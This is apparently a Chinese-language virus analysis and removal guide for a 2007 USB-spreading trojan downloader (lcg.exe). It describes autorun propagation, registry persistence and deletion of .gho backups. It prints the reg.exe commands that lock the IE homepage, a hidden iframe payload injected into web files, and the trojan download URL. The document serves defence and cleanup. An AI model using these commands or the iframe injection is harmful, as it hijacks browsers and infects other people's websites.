这是一个利用U盘传播的木马下载器,具有下载木马和感染htm等网页文件的作用
File: lcg.exe Size: 25600 bytes Modified: 2007年11月1日, 21:41:50 MD5: E27F5F3D044FD678B42C613EDA08F267 SHA1: C89C10E63B16389C28DE5BB56AAE25B2F97FC965 CRC32: 68143A07
技术细节: 1.病毒运行后,释放如下副本: %systemroot%\system32\Autorun.inf %systemroot%\system32\SVSH0ST.EXE 在每个分区下面释放一个lcg.exe和autorun.inf,达到通过U盘等移动存储传播的目的
2.添加如下注册表项目达到开机启动的目的 在HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run下面添加 {svchost}{%systemroot%\system32\SVSH0ST.EXE}的项目
3.锁定主页 调用reg.exe通过如下命令锁定IE浏览器主页 add "HKCU\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /t REG_EXPAND_SZ /d http://new.youxi222.com?9188 /f 将主页锁定为http://new.youxi222.com/?9188 add "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel" /v "HomePage" /t REG_DWORD /d 00000001 /f 使得IE设置中主页设置的按钮不可用
但该网站已经无法访问
4.遍历所有磁盘分区删除*.gho文件
5.遍历所有磁盘分区的INDEX.ASP,.HTM,INDEX.PHP,DEFAULT.ASP,DEFAULT.PHP,CONN.ASP文件 在其尾部加入{IfrAmE src=http://web.77930.com/cc/2/1.htm?8888 width=0 height=0}{/IfrAmE}的代码
6.连接网络下载木马http://www.senlove.com/0/x.exe 但该链接已经失效
解决办法: 下载sreng(可到down.45its.com下载)
1.打开任务管理器(ctrl+alt+del组合键调用任务管理器) 结束SVSH0ST.EXE进程(注意与svchost.exe的区别)
2.打开sreng 启动项目 注册表 删除如下项目 删除如下项目 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run下面添加 {svchost}{%systemroot%\system32\SVSH0ST.EXE}
系统修复-Windows Shell/IE 找到如下项目并勾选 允许Internet Explorer选项窗口和选项窗口的所有内容 设置主页为"about:blank"
然后点击 “修复”按钮
3.双击我的电脑,工具,文件夹选项,查看,单击选取"显示隐藏文件或文件夹" 并清除"隐藏受保护的操作系统文件(推荐)"前面的钩。在提示确定更改时,单击“是” 然后确定 点击 菜单栏下方的 文件夹按钮(搜索右边的按钮) 在左边的资源管理器中单击C盘(系统所在盘) 删除如下文件
%systemroot%\system32\Autorun.inf %systemroot%\system32\SVSH0ST.EXE C:\lcg.exe C:\autorun.inf
同理 在左边的资源管理器中单击其他盘 删除autorun.inf和lcg.exe
4.修复受感染的htm等网页文件 推荐使用CSI的iframkill 下载地址:http://www.vaid.cn/blog/read.php?9
|